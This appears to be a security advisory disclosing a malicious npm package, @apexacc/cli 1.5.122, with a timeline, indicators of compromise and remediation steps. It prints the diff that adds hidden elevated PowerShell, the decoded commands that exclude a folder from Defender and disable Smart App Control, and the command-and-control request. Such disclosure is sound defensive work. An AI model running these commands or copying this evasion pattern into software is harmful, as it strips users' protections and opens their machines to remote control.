VIGI-001-2026
@apexacc/cli disables Windows security controls and installs a remote-controlled backdoor
@apexacc/cli is published as an AI advisor for startup founders. On 17 September 2026 it published an update that switches off two Windows security features. The update then downloads a program. That program asks a server for instructions and runs what the server sends back. We found it the same day it shipped. No security database had it. At the time of writing it is still installable.
- Package
- @apexacc/cli
- Bad version
- 1.5.122
- Downloads a week
- about 3,000
- Status
- Live on npm
The short version
On Windows 11, the tool opens a hidden administrator window before it does anything else. It stops Windows Defender scanning its own folder. It turns off Smart App Control, the feature that blocks programs Windows does not recognise.
Then it downloads a 111 MB program from GitHub. That program sends a message to
vrf.apexaccs.org. That domain was registered one day before the package
first appeared on npm. The program writes the reply to a file and runs it. The reply
can contain any command.
The two protections go off first. The download happens second.
Timeline
-
apexaccs.orgis registered through Namecheap. The malicious binary later reports to this domain. -
The first version of
@apexacc/cliis published to npm. It is a working tool. - Eight commits land straight on the main branch, each one titled “minor fix”. The repository has no pull requests, so no review took place.
- Version 1.5.122 goes live on npm, carrying the hidden elevation code. It is the fourth release that morning. Version 1.5.121 went up 100 seconds before it, at 08:26:10, and 1.5.120 at 08:19:39.
- Vigilance flags it. The scanner compares 1.5.121 against 1.5.122, sees a power the old version did not have, and raises it. Eleven hours after publication, with no signature, no threat feed and no prior report of this package anywhere.
- Reported to npm and to GitHub.
- GitHub removes the account and the repository. Both return 404. The three release files are no longer downloadable from GitHub. The npm package is still live.
What the update actually changed
Version 1.5.121 already ran both commands. It ran them in plain code, with no request for administrator rights, so they usually failed. That version was published 100 seconds before 1.5.122, in the same run of releases. Version 1.5.122 runs the same two commands. It base64-encodes them and runs them through a hidden window that asks Windows for administrator rights.
package/apex.cjs 1.5.121 → 1.5.122 - // Disable Smart App Control and add exclusion on Windows if running as admin + // Windows 11 UAC elevation for SAC disable + exclusion + const _enc = Buffer.from(_ps, 'utf16le').toString('base64') + _sp('powershell', [ + '-Command', + `Start-Process powershell -Verb RunAs -WindowStyle Hidden + -ArgumentList '-NoProfile -EncodedCommand ${_enc}'` + ], { stdio: 'ignore' })
Decode the base64 and this is what runs, as administrator, in a window you never see:
Add-MpPreference -ExclusionPath '<home>\.apex' -ErrorAction SilentlyContinue reg add 'HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
The first line stops Defender from scanning the folder that receives the download. The second line turns off Smart App Control in the registry.
What the downloaded program does
After the two commands run, the tool fetches three files from the project’s own GitHub releases. Those files returned 404 from 18 September 2026, after GitHub removed the account. The Windows file is 110,948,352 bytes. It contains the product, and it also contains this request:
POST https://vrf.apexaccs.org/api/v1/vrf
Content-Type: application/json
{"p":"win32"}
The reply carries three fields: cmd, exec and
args. The program writes them to %TEMP%\_apex_run.ps1. It
writes a launcher beside that file at %TEMP%\_apex_run.vbs. It then runs
the launcher detached and discards the output. If the reply contains
-EncodedCommand, the command runs as encoded PowerShell.
The server chooses what runs on the machine. It can return a different command on each call.
A second route through the AI features
The same binary points its AI-copilot features at
arena.apexaccs.org/api/llm/v1, configured as an OpenRouter-compatible
service. An API key that a user supplies for those features travels through that
server. This happens whether or not the backdoor runs.
The macOS build
The Mac build ships a helper, apex-verify-darwin. We read the file. It
contains the same vrf.apexaccs.org address as the Windows binary.
Why nothing else caught it
We uploaded the Mac helper to VirusTotal on 17 September 2026. It scored zero detections out of 63 engines. That is the number on that date, and a VirusTotal score moves as engines update. There was no advisory for this package in OSV or in the GitHub database, because nobody had reported it.
There is nothing for a scanner to match. The payload only exists after the server
sends it, so no malicious code sits on disk. Nothing runs during
npm install, so an install-time sandbox sees a clean package.
Who is behind it
GitHub user apexfdn wrote every commit. One public repository, sixty
commits, no pull requests, active since October 2025. GitHub removed the account on
18 September 2026. We read the following from it before that:
| Company | “Apex Foundation”. This is the name on the account. We did not check it against a company register. |
|---|---|
| Website | apexfdn.xyz. The name resolves through Cloudflare. No web server answers on port 80 or 443. |
contact@apexfdn.xyz. The mail records are live and point at a hosted mail provider. The address can receive mail. |
|
| Location | “Lodnon”. This is London, misspelled. |
A LinkedIn page for “Apex Accelerator” is still live, filed under Hong Kong. Its details conflict with the GitHub account. It claims founded 2024 and 11 to 50 employees, while every record we found dates to 2026 and lists two people.
apexaccs.org, was registered one day before that first release. It
differs by one letter from the package’s own apexacc name.
If you ran this
This applies to anyone who installed @apexacc/cli and ran apex
on Windows 11 at any point after 17 September 2026.
- Uninstall the package.
- Delete the
.apexfolder:%USERPROFILE%\.apexon Windows,~/.apexon macOS. - Turn Smart App Control back on. It is in Windows Security, under App & browser control.
- Remove the Defender exclusion for that folder, in Virus & threat protection settings.
-
Rotate your credentials from a machine you trust. The server can send any command,
so treat everything on that machine as exposed:
- npm tokens and any
.npmrccontents - SSH keys
- browser-saved passwords and session cookies
- crypto wallets
- CI and cloud secrets present on that machine
- npm tokens and any
Indicators
| Package | @apexacc/cli, version 1.5.122 and later. Version 1.5.121 runs the same two commands in plain code. |
|---|---|
| Primary server | https://vrf.apexaccs.org/api/v1/vrf |
| Second server | https://arena.apexaccs.org/api/copilot/*, https://arena.apexaccs.org/api/llm/v1 |
| Domain | apexaccs.org, registered 8 Aug 2026 through Namecheap, behind Cloudflare. Note the extra s against the project’s own apexacc name. |
| Identity domain | apexfdn.xyz, registered 13 Feb 2026 through Porkbun. Mail records live, no website. Contact address contact@apexfdn.xyz. |
| Files dropped | %TEMP%\_apex_run.ps1, %TEMP%\_apex_run.vbs, ~/.apex/apex-token, ~/.apex/.key |
| Windows binary | sha256 cc0910a655335297747d06772f3b4aedd92d0f3c0646cb8af585266521129a50 |
| macOS helper | sha256 b0cb369029a7dd7de6510d60caac154a0bd91ad6b9a08d69c90227627743ec71 |
| Commits | a16221bb a095dc08 ce810a31 e720f9a7 ac995b30 b52069be 529dbd17 af666e32, all 17 Sep 2026, all titled “minor fix” |
| Accounts | npm apexaccelerator, GitHub apexfdn, LinkedIn company/apexaccelerator (filed under Hong Kong) |
Disclosure
Reported to npm and to GitHub on 17 September 2026. GitHub removed the account and the repository on 18 September 2026 at 10:39 UTC. The npm package is still installable. We executed none of the malicious code. Everything here comes from the files, the published hashes, the public commit history and the public registration records.
If you are the maintainer and you believe this is wrong, write to support@vigihq.com and we will publish a correction on this page.
How we found it
Vigilance compares each npm release against the one before it. It does not ask whether the code resembles known malware. It asks whether this version can do something that the last version cannot.
vigi diff --old cli-1.5.121.tgz --new cli-1.5.122.tgz
Start Free Read the attack case studiesVIGI-001-2026. Published 18 September 2026 by Vigilance. GitHub removed the account and the repository on 18 September 2026 at 10:39 UTC. If npm removes the package, we will record the time here.